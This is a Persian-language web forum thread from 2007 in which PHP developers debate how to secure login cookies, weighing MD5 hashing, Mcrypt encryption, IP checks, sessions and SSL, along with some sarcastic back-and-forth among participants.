به قول یکی از فلاسفه تا قبل از 30 سالگی به سراغ فلسفه نرویدهمم!! خوش به حالت که اینقدر میفهمی!!


آره مثلا حدود 10 به توان 29 سال ممکنه طول بکشه که Decrypt بشه
شایدم بشه با یه سوپرکامپیوتر که N تا CPU داره تو مایه های IBM CELL و N تا دستور رو هم دریک Cycle اونم به صورت موازی اجرا می کنه بشه قدری پایین آورد.
شایدم یکی رو دست RayWest پاشده
شایدم شما به همه Cypher ها و کلیدها دسترسی داری!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
جمله ای که کوت کردی چه ربطی به جوابی که دادی داره؟!!! مگه من گفتم میشه هر md5 یا ... رو به راحتی دی! *هش* کرد!؟ یا اصلاً ادعا کردم که میشه این کار رو به راحتی کرد؟ یعنی کاربری حق نداره طول پسوردش کم باشه یا فقط کاراکتر باشه و فقط عدد؟؟؟؟
خوش به حالت که اینقدر بلتی!!!! (Decrypt و IBM CELL و Cycle و RayWest و Cypher و ...) پففف


ولی توضیحات آخرت خوب بود و استفاده کردیمممنون

موفق باشیشما هم همینطور

Bahram0110
سه شنبه 24 مهر 1386, 12:10 عصر
md5(md5(Username)
یه جا خوندم که اگه از الگوریتم های رمز نگاری (هر الگوریتمی) به صورت تو در تو استفاده بشه بی نظمی رو کم می کنه و حدس زدن متن اصلی رو راحت تر می کنه!

sweb
یک شنبه 29 مهر 1386, 01:15 صبح
درود

عجب بحث داغی شده این امنیت کوکی ها !!!

خب من موندم این SSL رو واسه چی ساختن ؟؟؟ !!! :D

و بنظرتون نمیشه یکی از توابع Mcrypt که قابلیت 2 طرفه بودن داره رو استفاده کرد و کلیدش هم به ازی هر کاربر متفاوت ساخت !!!

oxygenws
یک شنبه 29 مهر 1386, 01:31 صبح
خب من موندم این SSL رو واسه چی ساختن ؟؟؟ !!! :D
خوب البته این زیاد تو این بحث نیست.
چون کلا امنیت با SSL مهیا میشه (اگر باهاش درست برخورد بشه :) )


و بنظرتون نمیشه یکی از توابع Mcrypt که قابلیت 2 طرفه بودن داره رو استفاده کرد و کلیدش هم به ازی هر کاربر متفاوت ساخت !!!
من هم اینو گفتم، اما به هر حال با به دست آوردن کوکی، میشه همون رو گذاشت روی سیستم خودمون و باهاش لاگین شد. ضمن اینکه متفاوت بودن کلید سود چندانی نداره، چون قرار نیست کلید رو همه داشته باشند!!!

sweb
یک شنبه 29 مهر 1386, 01:46 صبح
من هم اینو گفتم، اما به هر حال با به دست آوردن کوکی، میشه همون رو گذاشت روی سیستم خودمون و باهاش لاگین شد. ضمن اینکه متفاوت بودن کلید سود چندانی نداره، چون قرار نیست کلید رو همه داشته باشند!!!


درسته !!!

البته با کنترل IP میشه تائید کرد که از همون سیستم هستش یا نه !!! که خب بازم تغییرات IP که چیز عجیبی تو اینترنت های dialup نیست تو این رویه مشکل ایجاد می کنه !!! ؟؟؟

ولی جالبه بدونم در کل شما کدوم یکی از پروژه های GNU پی اچ پی رو دیدین که با همچین مشکلی درگیر شدن !!! یک مشکل حاد هستش یا چیزی که فقط ما بهش گیر دادیم !!!

اگرم که قراره امنیت باشه خب همون SSL مثله خیلی از سیستم های بانکی / مالی بین الملی !!!

چیز دیگه ای می مونه !!!

oxygenws
یک شنبه 29 مهر 1386, 06:45 صبح
ولی جالبه بدونم در کل شما کدوم یکی از پروژه های GNU پی اچ پی رو دیدین که با همچین مشکلی درگیر شدن !!! یک مشکل حاد هستش یا چیزی که فقط ما بهش گیر دادیم !!!
اول اینکه فکر کنم منظورت از GNU همون Open Source است، نه؟!!
دوم، این بحث ربطی به یک پروژهء خاص نداره، این مشکلی است که وجود داره، برای یک قرارداد، یک پروتکل، پس همهء پروژه ها می تونن درگیرش باشن!
سوم، اگر شخصی که داره سایت رو مرور می کنه و مقداری کسی که سایت رو طراحی کرده، دقت نکنند، می تونه برای اون شخص خطرناک باشه!
چهارم، اکثر سایت ها نمی تونند SSL داشته باشند و این قضیه ربطی به کلاینت نداره و باید از سمت سرور *هم* پشتیبانی بشه!

پنجم، حس نمی کنی یک کم زیادی از علامت تعجب استفاده می کنی؟!
ششم، تقریبا همهء حرفهات تکراری است و قبلا توی همین تاپیک بحث شده، بهتره یه دور دیگه کل تاپیک رو بخونی.

sweb
یک شنبه 29 مهر 1386, 14:36 عصر
:لبخند:

حق با تو هست امید جان ولی !!!

نتیجه ای این بحث نداشت جز :


اگر SSL مهیا بود که خیلی عالیه ازش استفاده بشه
اگر امکانش هست ترجیحاً از سشن استفاده بشه
اگر نیاز به استفاده از کوکی هستش سعی بشه با یک الگوریتم خاص اونو Encrypt کرد که فقط خود برنامه مستقر در سرور بتونه ازش استفاده کنه


فقط یک نکته : که کسی راه حلی برای جلوگیری کپی کردن اطلاعات کاربر از کوکی Browser نداره و این رو دیگه کاریش نمیشه کرد!!!

امید جان این علامت تعجب ها رو کاریش نمی تونم بکنم شرمنده !!!